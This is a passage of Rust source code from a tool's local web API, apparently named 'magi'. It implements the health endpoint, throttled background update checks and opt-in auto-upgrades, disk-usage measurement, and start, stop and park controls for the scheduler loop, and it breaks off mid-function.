2672            generation: job.generation,
2673            version: job.version,
2674            queue_owned,
2675        }
2676    }
2677}
2678
2679/// What `/api/health` knows about a release newer than this build.
2680///
2681/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2682/// is already the newest" from "never checked" - both are `None` - and the
2683/// phone needs to tell those apart to decide whether the deck can be trusted
2684/// to have an opinion at all.
2685#[derive(Debug, Clone, Serialize)]
2686struct UpdateView {
2687    /// A newer release is known to exist.
2688    available: bool,
2689    /// Its tag, when `available`.
2690    to: Option<String>,
2691}
2692
2693/// [`updater::Progress`] as `/api/health` reports it.
2694#[derive(Debug, Serialize)]
2695struct UpgradeProgressView {
2696    trigger: updater::UpgradeTrigger,
2697    stage: updater::Stage,
2698    from: String,
2699    to: Option<String>,
2700    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2701    /// the step it is finishing before the address is handed over.
2702    waiting_on: Option<String>,
2703    started_at: Timestamp,
2704    updated_at: Timestamp,
2705    detail: Option<String>,
2706    /// Seconds the stage has outlived its allowance, when it has - see
2707    /// [`updater::stall`]. `null` while the stage is moving normally.
2708    stuck_for_secs: Option<i64>,
2709    /// Which kind of stuck: `never_entered` (hand_over left no record of
2710    /// starting) or `stopped_beating`. `null` when not stuck.
2711    stuck_kind: Option<updater::StallKind>,
2712    /// `hand_over` is alive and waiting on the loop: however long that takes,
2713    /// it is not an overdue upgrade.
2714    handover_alive: bool,
2715}
2716
2717/// Whether [`run_update_recheck`] may act at all this tick.
2718///
2719/// The same two conditions [`updater::Checker::new`] and
2720/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2721/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2722/// GitHub from this process" - on a button press or on a timer alike.
2723fn should_spawn_recheck(cfg: &Update) -> bool {
2724    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2725}
2726
2727/// Whether this tick should actually reach the network, once checking itself
2728/// is allowed.
2729///
2730/// An upgrade already in flight must not be raced by a check that discovers
2731/// a *newer* release while one is still installing - a phone watching
2732/// `/api/health` would see the answer change out from under the upgrade it
2733/// already asked for. Past that, [`updater::Checker::should_check`] is the
2734/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2735/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2736/// polling period, is what keeps this task's network use to at most once per
2737/// `[update] interval` regardless of how often it wakes up.
2738fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2739    if progress.is_some_and(|p| !p.stage.terminal()) {
2740        return false;
2741    }
2742    checker.should_check()
2743}
2744
2745/// How long [`run_update_recheck`] sleeps before its next wake-up.
2746///
2747/// A fraction of the configured `[update] interval` rather than a fixed
2748/// number: a fixed sleep longer than a short custom interval would leave the
2749/// deck waiting on its own wake-up rather than on `should_check`, so an
2750/// operator who set `interval = "1m"` to make the UI catch up quickly would
2751/// not see that take effect until the next restart - exactly the bug this
2752/// task exists to fix, just moved one level down. Scaling with the interval
2753/// keeps the wake-up prompt relative to what was actually configured, while
2754/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2755/// still what caps the network calls themselves at one per interval,
2756/// regardless of how often this fires.
2757fn recheck_poll_period(cfg: &Update) -> Duration {
2758    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2759}
2760
2761#[derive(Debug, PartialEq, Eq)]
2762enum AutoUpgradeDecision {
2763    Skip(&'static str),
2764    Trigger,
2765}
2766
2767fn auto_upgrade_decision(
2768    cfg: &Update,
2769    disabled: bool,
2770    in_motion: bool,
2771    tag: &str,
2772    failed: Option<&str>,
2773) -> AutoUpgradeDecision {
2774    if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2775        AutoUpgradeDecision::Skip("disabled")
2776    } else if in_motion {
2777        AutoUpgradeDecision::Skip("upgrade already in progress")
2778    } else if failed == Some(tag) {
2779        AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2780    } else {
2781        AutoUpgradeDecision::Trigger
2782    }
2783}
2784
2785/// Refresh the shared cache and optionally request the same handover as the UI.
2786async fn run_update_recheck(ui: Arc<Ui>) {
2787    loop {
2788        tokio::time::sleep(update_recheck_once(&ui).await).await;
2789    }
2790}
2791
2792async fn update_recheck_once(ui: &Arc<Ui>) -> Duration {
2793    let cfg = match Config::discover(&ui.repo, None) {
2794        Ok((cfg, _)) => cfg,
2795        Err(e) => {
2796            updater::log_warn(
2797                &ui.home,
2798                &format!("auto-upgrade: config unavailable: {e:#}"),
2799            );
2800            return UPDATE_RECHECK_POLL_MAX;
2801        }
2802    };
2803    if should_spawn_recheck(&cfg.update)
2804        && let Some(checker) = updater::Checker::new(&cfg.update)
2805    {
2806        let progress = updater::read_progress(&ui.home);
2807        let mut latest = checker.cached_update();
2808        if update_recheck_due(&checker, progress.as_ref()) {
2809            match checker.newer_release().await {
2810                Ok(found) => latest = found,
2811                Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2812            }
2813        }
2814        if cfg.update.auto_restart
2815            && let Some(latest) = latest
2816        {
2817            let response = begin_upgrade(ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2818            updater::log_step(
2819                &ui.home,
2820                &format!("auto-upgrade: request status {}", response.status()),
2821            );
2822        }
2823    }
2824    recheck_poll_period(&cfg.update)
2825}
2826
2827/// [`UpdateView`] from the same throttled, disk-only state
2828/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2829/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2830/// no cached state at all, which is correct: an operator who turned checking
2831/// off gets no opinion, not a stale one.
2832fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2833    let default;
2834    let cfg = match cfg {
2835        Some(cfg) => cfg,
2836        None => {
2837            default = Config::default();
2838            &default
2839        }
2840    };
2841    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2842    match latest {
2843        Some(latest) => UpdateView {
2844            available: true,
2845            to: Some(latest.tag_name),
2846        },
2847        None => UpdateView {
2848            available: false,
2849            to: None,
2850        },
2851    }
2852}
2853
2854/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2855/// from the parked run's own state when the stage is
2856/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2857/// already on disk in `run.json`, so this reads them fresh rather than
2858/// trusting whatever was true the moment the park was requested.
2859fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2860    let now = Timestamp::now();
2861    let lease = updater::read_lease(&ui.home);
2862    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2863    let run_id = alive
2864        .and_then(|l| l.parked_run.as_deref())
2865        .or(progress.parked_run.as_deref());
2866    let parking = progress.stage == updater::Stage::Parking;
2867    let waited = alive.map_or_else(String::new, |l| {
2868        let secs = updater::waited_secs(l, now);
2869        format!(" (waited {} min so far)", secs / 60)
2870    });
2871    let run_text = run_id
2872        .filter(|_| parking)
2873        .map(|id| match read_run(&ui.runs, id).ok() {
2874            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2875            None => format!("run {id} is finishing"),
2876        });
2877    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2878        .filter(|t| parking && !t.is_empty())
2879        .map(|t| format!("{t} finishing"));
2880    let waiting_on = match (run_text, talks_text) {
2881        (None, None) => None,
2882        (run, talks) => {
2883            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2884            Some(format!(
2885                "{} before the address is handed over{waited}",
2886                parts.join(" and ")
2887            ))
2888        }
2889    };
2890    let detail = progress
2891        .detail
2892        .clone()
2893        .or_else(|| updater::read_note(&ui.home, &progress));
2894    let stalled = updater::stall(&progress, lease.as_ref(), now);
2895    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2896    UpgradeProgressView {
2897        trigger: progress.trigger,
2898        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2899        stuck_kind: stalled.map(|s| s.kind),
2900        handover_alive: alive.is_some(),
2901        stage: progress.stage,
2902        from: progress.from,
2903        to: progress.to,
2904        waiting_on,
2905        started_at: progress.started_at,
2906        updated_at: progress.updated_at,
2907        detail,
2908    }
2909}
2910
2911/// Last successful capacity observations, independent of admission/cleanup.
2912/// Cold or unavailable directory measurements are null, never invented zeros.
2913#[derive(Debug, Serialize)]
2914struct DiskView {
2915    /// Free bytes on the volume holding the runs, when measurable.
2916    #[serde(skip_serializing_if = "Option::is_none")]
2917    free_bytes: Option<u64>,
2918    /// Everything the runs directory occupies, when fully measurable.
2919    runs_bytes: Option<u64>,
2920    /// Everything the runs' worktrees occupy.
2921    worktrees_bytes: Option<u64>,
2922    /// The shared build cache's size, when the config names one.
2923    #[serde(skip_serializing_if = "Option::is_none")]
2924    cache_bytes: Option<u64>,
2925    /// Last bounded cleanup report, including retention and failure reasons.
2926    retention: Option<crate::retention::Report>,
2927}
2928
2929/// Capacity walks have their own demand-driven single flight, not the revision
2930/// worker: a large build cache must never delay revisions or a health response.
2931const DISK_REFRESH: Duration = Duration::from_secs(60);
2932
2933#[derive(Debug, Clone, PartialEq, Eq)]
2934struct DiskScope {
2935    runs: PathBuf,
2936    worktrees: PathBuf,
2937    cache: Option<PathBuf>,
2938}
2939
2940impl DiskScope {
2941    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2942        Self {
2943            runs: ui.runs.clone(),
2944            worktrees: ui.worktrees_root.clone(),
2945            cache: cfg.and_then(Config::cache_dir),
2946        }
2947    }
2948}
2949
2950#[derive(Debug, Clone, Copy, Default)]
2951struct DiskCapacity {
2952    free_bytes: Option<u64>,
2953    runs_bytes: Option<u64>,
2954    worktrees_bytes: Option<u64>,
2955    cache_bytes: Option<u64>,
2956}
2957
2958impl DiskCapacity {
2959    fn measure(scope: &DiskScope) -> Self {
2960        Self {
2961            free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2962            runs_bytes: disk_capacity_size(&scope.runs),
2963            worktrees_bytes: disk_capacity_size(&scope.worktrees),
2964            cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2965        }
2966    }
2967
2968    fn retain_successes(&mut self, next: Self) {
2969        self.free_bytes = next.free_bytes.or(self.free_bytes);
2970        self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2971        self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2972        self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2973    }
2974}
2975
2976/// Like disk::dir_size, do not follow links. Unlike its admission-oriented
2977/// best-effort total, an incomplete observation must not look like an empty tree.
2978fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2979    let metadata = match std::fs::symlink_metadata(path) {
2980        Ok(metadata) => metadata,
2981        Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2982        Err(_) => return None,
2983    };
2984    if !metadata.is_dir() {
2985        return Some(if metadata.is_file() {
2986            metadata.len()
2987        } else {
2988            0
2989        });
2990    }
2991    let mut total = 0;
2992    let mut stack = vec![path.to_owned()];
2993    while let Some(dir) = stack.pop() {
2994        for entry in std::fs::read_dir(dir).ok()? {
2995            let entry = entry.ok()?;
2996            let metadata = entry.metadata().ok()?;
2997            if metadata.is_dir() {
2998                stack.push(entry.path());
2999            } else if metadata.is_file() {
3000                total += metadata.len();
3001            }
3002        }
3003    }
3004    Some(total)
3005}
3006
3007#[derive(Debug, Default)]
3008struct DiskObservation {
3009    scope: Option<DiskScope>,
3010    capacity: DiskCapacity,
3011    in_flight: bool,
3012    finished: Option<std::time::Instant>,
3013}
3014
3015impl DiskObservation {
3016    fn observe(
3017        state: &Arc<Mutex<Self>>,
3018        scope: DiskScope,
3019        measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
3020    ) -> DiskCapacity {
3021        let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
3022        if observation.scope.as_ref() != Some(&scope) {
3023            observation.scope = Some(scope.clone());
3024            observation.capacity = DiskCapacity::default();
3025            observation.finished = None;
3026        }
3027        let capacity = observation.capacity;
3028        if observation.in_flight
3029            || observation
3030                .finished
3031                .is_some_and(|at| at.elapsed() < DISK_REFRESH)
3032        {
3033            return capacity;
3034        }
3035        observation.in_flight = true;
3036        drop(observation);
3037
3038        let refresh = DiskRefresh {
3039            state: Arc::clone(state),
3040            scope,
3041        };
3042        tokio::task::spawn_blocking(move || {
3043            let next = measure(&refresh.scope);
3044            let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
3045            if observation.scope.as_ref() == Some(&refresh.scope) {
3046                observation.capacity.retain_successes(next);
3047            }
3048            drop(observation);
3049            // The guard also clears the flight on panic or a cancelled,
3050            // not-yet-started blocking job. No failed scan can wedge health.
3051            drop(refresh);
3052        });
3053        capacity
3054    }
3055}
3056
3057struct DiskRefresh {
3058    state: Arc<Mutex<DiskObservation>>,
3059    scope: DiskScope,
3060}
3061
3062impl Drop for DiskRefresh {
3063    fn drop(&mut self) {
3064        let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
3065        observation.in_flight = false;
3066        if observation.scope.as_ref() == Some(&self.scope) {
3067            // Wait a full period after completion, including failed scans.
3068            observation.finished = Some(std::time::Instant::now());
3069        }
3070    }
3071}
3072
3073impl DiskView {
3074    /// Return immediately, retaining known capacity while one worker refreshes.
3075    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
3076        let capacity = DiskObservation::observe(
3077            &ui.monitor.disk,
3078            DiskScope::of(ui, cfg),
3079            DiskCapacity::measure,
3080        );
3081        Self::with_capacity(ui, capacity)
3082    }
3083
3084    fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
3085        Self {
3086            free_bytes: crate::disk::free_bytes(&ui.runs)
3087                .ok()
3088                .or(capacity.free_bytes),
3089            runs_bytes: capacity.runs_bytes,
3090            worktrees_bytes: capacity.worktrees_bytes,
3091            cache_bytes: capacity.cache_bytes,
3092            retention: ui
3093                .runs
3094                .parent()
3095                .and_then(|home| std::fs::read(home.join("retention.json")).ok())
3096                .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
3097        }
3098    }
3099}
3100
3101/// The daemon's state as the UI presents it.
3102#[derive(Debug, Serialize)]
3103struct DaemonView {
3104    running: bool,
3105    idle: Option<bool>,
3106    dispatch_wait: Option<daemon::DispatchWait>,
3107    pid: Option<u32>,
3108    /// Every task and run currently in flight. Empty when idle; more than
3109    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
3110    /// run going at once.
3111    current: Vec<daemon::Current>,
3112    completed: Option<u64>,
3113    stale_for_secs: Option<i64>,
3114}
3115
3116impl DaemonView {
3117    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
3118    /// not this UI's — a crashed daemon must not look alive here while
3119    /// `doctor` calls it dead.
3120    fn of(status: Option<daemon::Reading>) -> Self {
3121        let Some(status) = status else {
3122            return Self {
3123                running: false,
3124                idle: None,
3125                dispatch_wait: None,
3126                pid: None,
3127                current: Vec::new(),
3128                completed: None,
3129                stale_for_secs: None,
3130            };
3131        };
3132        let now = Timestamp::now();
3133        let age = status.age_secs(now);
3134        Self {
3135            running: status.running(now),
3136            idle: Some(status.idle),
3137            dispatch_wait: status.dispatch_wait,
3138            pid: status.pid,
3139            current: status.current,
3140            completed: Some(status.completed),
3141            stale_for_secs: age,
3142        }
3143    }
3144}
3145
3146// Discover display configuration off the request path. Capacity measurement
3147// retains its separate single flight and scope/failure handling below.
3148fn refresh_health_config(ui: &Arc<Ui>) {
3149    let mut cache = ui
3150        .monitor
3151        .disk_cache
3152        .lock()
3153        .unwrap_or_else(PoisonError::into_inner);
3154    if cache.loading
3155        || cache
3156            .measured
3157            .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
3158    {
3159        return;
3160    }
3161    cache.loading = true;
3162    let weak = Arc::downgrade(ui);
3163    std::thread::spawn(move || {
3164        let Some(ui) = weak.upgrade() else { return };
3165        let cfg = deputy_config(&ui.repo);
3166        let update = cached_update_view(cfg.as_ref());
3167        let mut cache = ui
3168            .monitor
3169            .disk_cache
3170            .lock()
3171            .unwrap_or_else(PoisonError::into_inner);
3172        cache.config = cfg;
3173        cache.update = Some(update);
3174        cache.measured = Some(std::time::Instant::now());
3175        cache.loading = false;
3176    });
3177}
3178
3179fn health_counts(
3180    ui: &Ui,
3181    fallback_questions_rev: u64,
3182) -> ApiResult<(usize, usize, usize, u64, usize)> {
3183    let mut index = ui
3184        .monitor
3185        .health_index
3186        .lock()
3187        .unwrap_or_else(PoisonError::into_inner);
3188    let ids = run_ids(&ui.runs);
3189    let seen: HashSet<_> = ids.iter().cloned().collect();
3190    index.runs.retain(|id, _| seen.contains(id));
3191    let mut unreadable = 0;
3192    for id in ids {
3193        // Recheck identity on every request, including atomic replacements
3194        // with preserved length/mtime. A failed stat is never cached as good.
3195        let identity = file_identity(&ui.runs.join(&id).join("run.json"));
3196        let bad = match identity {
3197            Ok(identity) => {
3198                if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
3199                    let bad = read_run(&ui.runs, &id).is_err();
3200                    index.runs.insert(id.clone(), (identity, bad));
3201                    #[cfg(test)]
3202                    {
3203                        index.run_parses += 1;
3204                    }
3205                }
3206                index.runs[&id].1
3207            }
3208            Err(_) => true,
3209        };
3210        unreadable += usize::from(bad);
3211    }
3212    let questions_rev = try_stamps(ui.questions.root(), false, true)
3213        .map(|stamps| stamps_revision(&stamps))
3214        .unwrap_or(fallback_questions_rev);
3215    if index.questions.as_ref().is_none_or(|counts| {
3216        counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
3217    }) {
3218        let questions = ui.questions.list();
3219        index.questions = Some(QuestionCounts {
3220            revision: questions_rev,
3221            measured: std::time::Instant::now(),
3222            open: questions.iter().filter(|q| q.status.open()).count(),
3223            owner: questions
3224                .iter()
3225                .filter(|q| {
3226                    q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
3227                })
3228                .count(),
3229        });
3230    }
3231    let notifications_rev =
3232        stamps_revision(&notice_and_decision_stamps(ui).map_err(anyhow::Error::from)?);
3233    if index
3234        .notices
3235        .is_none_or(|(rev, _)| rev != notifications_rev)
3236    {
3237        index.notices = Some((notifications_rev, ui.notices.count_unread()));
3238    }
3239    let questions = index.questions.as_ref().unwrap();
3240    Ok((
3241        unreadable,
3242        questions.open,
3243        questions.owner,
3244        notifications_rev,
3245        index.notices.unwrap().1,
3246    ))
3247}
3248
3249async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
3250    let revisions = ui.monitor.revisions(&ui).await?;
3251    refresh_health_config(&ui);
3252    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3253        // One read of the status file for the two fields that describe it, so
3254        // `daemon` and `loop` in the same answer cannot disagree about who is
3255        // running the loop.
3256        let reading = daemon::read_status(&ui.home);
3257        // Read on its own line, not inside the literal below: the loop's lock
3258        // is not reentrant, and a guard taken as a temporary there would still
3259        // be held when `loop_view` took it again.
3260        let loop_rev = ui.lock_loop().rev;
3261        let (
3262            runs_unreadable,
3263            questions_open,
3264            questions_needs_owner,
3265            notifications_rev,
3266            notifications_unread,
3267        ) = health_counts(&ui, revisions.2)?;
3268        let ((cfg, config_observed, sizes, measured), update) = {
3269            let cache = ui
3270                .monitor
3271                .disk_cache
3272                .lock()
3273                .unwrap_or_else(PoisonError::into_inner);
3274            (
3275                (
3276                    cache.config.clone(),
3277                    cache.measured.is_some(),
3278                    cache.disk.clone(),
3279                    cache.measured,
3280                ),
3281                cache.update.clone().unwrap_or(UpdateView {
3282                    available: false,
3283                    to: None,
3284                }),
3285            )
3286        };
3287        // Retain the base's capacity observation independently of config
3288        // refreshes. A cold config read may still be pending; an existing
3289        // capacity flight must remain visible to concurrent health requests.
3290        let prior_capacity = {
3291            let mut observation = ui
3292                .monitor
3293                .disk
3294                .lock()
3295                .unwrap_or_else(PoisonError::into_inner);
3296            // Adopt a completed size snapshot only before the scoped capacity
3297            // observer has started. Later scope changes remain its authority.
3298            if observation.scope.is_none()
3299                && let Some(sizes) = sizes
3300            {
3301                observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3302                observation.capacity = DiskCapacity {
3303                    runs_bytes: Some(sizes.runs),
3304                    worktrees_bytes: Some(sizes.worktrees),
3305                    cache_bytes: sizes.cache,
3306                    free_bytes: None,
3307                };
3308                observation.finished = measured;
3309            }
3310            observation.scope.as_ref().map(|_| observation.capacity)
3311        };
3312        let disk = if config_observed {
3313            serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3314        } else {
3315            serde_json::to_value(DiskView::with_capacity(
3316                &ui,
3317                prior_capacity.unwrap_or_default(),
3318            ))
3319            .ok()
3320        };
3321        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3322        let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3323        #[cfg(not(test))]
3324        let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3325        #[cfg(test)]
3326        let looping = ui.loop_view(reading.clone());
3327        Ok(Json(HealthView {
3328            jobs: jobs.into_iter().map(WorkerView::from).collect(),
3329            version: env!("CARGO_PKG_VERSION"),
3330            home: ui.home.display().to_string(),
3331            queue_rev: revisions.0,
3332            runs_rev: revisions.1,
3333            questions_rev: revisions.2,
3334            talks_rev: revisions.3,
3335            notifications_rev,
3336            notifications_unread,
3337            loop_rev,
3338            runs_unreadable,
3339            questions_open,
3340            questions_needs_owner,
3341            daemon: DaemonView::of(reading.clone()),
3342            looping,
3343            disk,
3344            update,
3345            upgrade,
3346            upgrade_request_error: ui
3347                .upgrade_request_error
3348                .lock()
3349                .unwrap_or_else(PoisonError::into_inner)
3350                .clone(),
3351        }))
3352    })
3353    .await
3354}
3355
3356/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
3357#[derive(Debug, Serialize)]
3358struct LoopView {
3359    /// A scheduler is running, independently of this web process.
3360    running: bool,
3361    /// The scheduler has been asked to stop scheduling new work.
3362    stopping: bool,
3363    /// An explicit operator park was requested, independently from updates.
3364    parking: bool,
3365    /// This scheduler supports durable controls from any web generation.
3366    owned: bool,
3367    /// Repository the loop uses for tasks that name none - what it was
3368    /// started with while it runs, and what a start would use before that.
3369    repo: String,
3370    /// Merge mode override in force, or `null` when each repository's own
3371    /// config decides.
3372    merge: Option<String>,
3373    /// Why the last loop in this process ended, when it ended badly.
3374    ///
3375    /// The only place a crashed loop is visible to someone holding a phone.
3376    /// It is logged at error level as well, but a terminal nobody kept open
3377    /// is not a report, and a loop that died at 3am must not read as merely
3378    /// stopped in the morning. Named as [`Task::last_error`] is, because it
3379    /// answers the same question about the same kind of failure.
3380    last_error: Option<String>,
3381    /// The status file, judged the same way `/api/health` judges it: this is
3382    /// what says whether a loop is alive in some *other* process.
3383    daemon: DaemonView,
3384}
3385
3386/// A legacy embedded scheduler that this web process cannot control.
3387///
3388/// Worker-protocol schedulers use durable controls regardless of which process
3389/// started them. Older schedulers are identified by their foreign heartbeat.
3390#[derive(Debug, Clone, Copy)]
3391struct Foreign {
3392    /// The pid the other process published, when it published one.
3393    pid: Option<u32>,
3394}
3395
3396impl Foreign {
3397    /// Another process's live loop, or `None` when this process is free to
3398    /// run one.
3399    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3400        // A fresh heartbeat with no pid in it is still evidence of a live
3401        // daemon. "Some other process" is the honest answer, and refusing
3402        // to start beside it is the safe one.
3403        if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3404            return None;
3405        }
3406        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3407    }
3408
3409    /// How a conflict names it. The pid is the whole point of the message: it
3410    /// is what the operator needs to find the terminal that owns the loop.
3411    fn who(&self) -> String {
3412        match self.pid {
3413            Some(pid) => format!("another magi process (pid {pid})"),
3414            None => "another magi process".to_owned(),
3415        }
3416    }
3417}
3418
3419/// How a loop is started, as a future this module can hold onto.
3420///
3421/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
3422/// trait object or a hand-written `Debug` impl for the sake of one seam.
3423type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3424
3425#[cfg(test)]
3426type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3427
3428/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
3429#[cfg(test)]
3430fn launch_daemon(
3431    opts: daemon::Opts,
3432    stop: daemon::Stop,
3433) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3434    Box::pin(daemon::serve_until(opts, stop))
3435}
3436
3437/// Local web-control revisions and errors, plus the unit-test launch seam.
3438#[derive(Debug, Default)]
3439struct LoopState {
3440    /// The loop, while there is one.
3441    #[cfg(test)]
3442    live: Option<Live>,
3443    /// Local control changes streamed as `loop_rev`; actual scheduler and
3444    /// execution ownership comes from durable status and OS-held worker leases.
3445    rev: u64,
3446    /// Why the last loop ended, when it ended badly. See
3447    /// [`LoopView::last_error`].
3448    last_error: Option<String>,
3449}
3450
3451/// A loop in flight.
3452#[cfg(test)]
3453#[derive(Debug)]
3454struct Live {
3455    /// The cooperative stop, shared with the loop task.
3456    stop: daemon::Stop,
3457    /// The task itself, kept only to answer whether it is still there: a loop
3458    /// that panicked never records its own end, and without this the view
3459    /// would go on reporting a loop that no longer exists - the one lie that
3460    /// would leave the operator with no button to press.
3461    handle: tokio::task::JoinHandle<()>,
3462    /// What the loop was started with, so the view reports the repository and
3463    /// merge mode its runs will actually use rather than what an edit to the
3464    /// config since would give.
3465    opts: daemon::Opts,
3466}
3467
3468#[cfg(test)]
3469impl Live {
3470    /// Is the task still there? See [`Live::handle`].
3471    fn alive(&self) -> bool {
3472        !self.handle.is_finished()
3473    }
3474}
3475
3476/// Take the loop lock, recovering from a poisoned one.
3477///
3478/// What this mutex holds is a stop flag, a task handle and two counters, none
3479/// of which a panic elsewhere can leave in a state worth refusing to read.
3480/// Propagating the poison instead would mean an operator who can see the loop
3481/// running and can no longer stop it from the only surface they have.
3482fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3483    state.lock().unwrap_or_else(PoisonError::into_inner)
3484}
3485
3486/// `GET /api/loop`.
3487async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3488    blocking(move || {
3489        let reading = daemon::read_status(&ui.home);
3490        #[cfg(not(test))]
3491        let view = ui.try_loop_view(reading)?;
3492        #[cfg(test)]
3493        let view = ui.loop_view(reading);
3494        Ok(Json(view))
3495    })
3496    .await
3497}
3498
3499/// The body of `POST /api/loop`.
3500///
3501/// One required field and nothing else: no `default` and no unknown fields,
3502/// so a body that fails to say which way the switch was flipped is a 400
3503/// rather than a tap that quietly does the opposite of what was pressed.
3504#[derive(Debug, Deserialize)]
3505#[serde(deny_unknown_fields)]
3506struct LoopCommand {
3507    running: bool,
3508    /// Stop the run in flight at its next node boundary rather than letting it
3509    /// finish.
3510    ///
3511    /// Defaults to false, so the plain stop keeps meaning what it meant: a
3512    /// competition is tens of minutes of paid work and finishing it is
3513    /// normally the cheapest thing to do. A park is for the operator who
3514    /// wants the process gone now - to replace the binary, most of all - and
3515    /// it costs at most the node in progress because every node writes its
3516    /// state before the next one starts.
3517    #[serde(default)]
3518    park: bool,
3519}
3520
3521/// Start or control the detached scheduler without waiting for execution
3522/// workers. Only an explicit park asks workers to stop at a node boundary.
3523async fn loop_post(
3524    State(ui): State<Arc<Ui>>,
3525    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3526) -> ApiResult<Json<LoopView>> {
3527    // Taken as a `Result` so a malformed body is a 400 like every other route
3528    // here, rather than axum's default 422 that the UI has no branch for.
3529    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3530    #[cfg(not(test))]
3531    {
3532        if body.running {
3533            ui.start_detached_loop().await?;
3534        } else {
3535            let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3536            ui.stop_loop(foreign, body.park)?;
3537        }
3538        Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3539    }
3540    #[cfg(test)]
3541    {
3542        blocking(move || {
3543            let reading = daemon::read_status(&ui.home);
3544            let foreign = Foreign::of(reading.as_ref());
3545            if body.running {
3546                ui.start_loop(foreign)?;
3547            } else {
3548                ui.stop_loop(foreign, body.park)?;
3549            }
3550            Ok(Json(ui.loop_view(reading)))
3551        })
3552        .await
3553    }
3554}
3555
3556/// What `POST /api/upgrade` set in motion.
3557#[derive(Debug, Serialize)]
3558struct UpgradeView {
3559    /// The version this process is running.
3560    from: String,
3561    /// The release it is replacing itself with, when there is one.
3562    to: Option<String>,
3563    /// What the operator should expect to happen next.
3564    detail: String,
3565}
3566
3567/// The stage of an upgrade that is still moving, if the record says so.
3568/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
3569fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3570    progress.filter(|p| !p.stage.terminal())
3571}
3572
3573/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
3574/// Unknown diagnostics retain their complete message without guessing a delay.
3575fn upgrade_retry_after(message: &str) -> Option<u64> {
3576    if !message.contains("GitHub") || !message.contains("rate limit") {
3577        return None;
3578    }
3579    if message.contains("retry now") {
3580        return Some(0);
3581    }
3582    let duration = message
3583        .split_once("resets in ")
3584        .or_else(|| message.split_once("retry after "))?
3585        .1
3586        .split_once(')')?
3587        .0;
3588    let mut rest = duration.trim();
3589    if rest.is_empty() {
3590        return None;
3591    }
3592    let mut total = 0u64;
3593    while !rest.is_empty() {
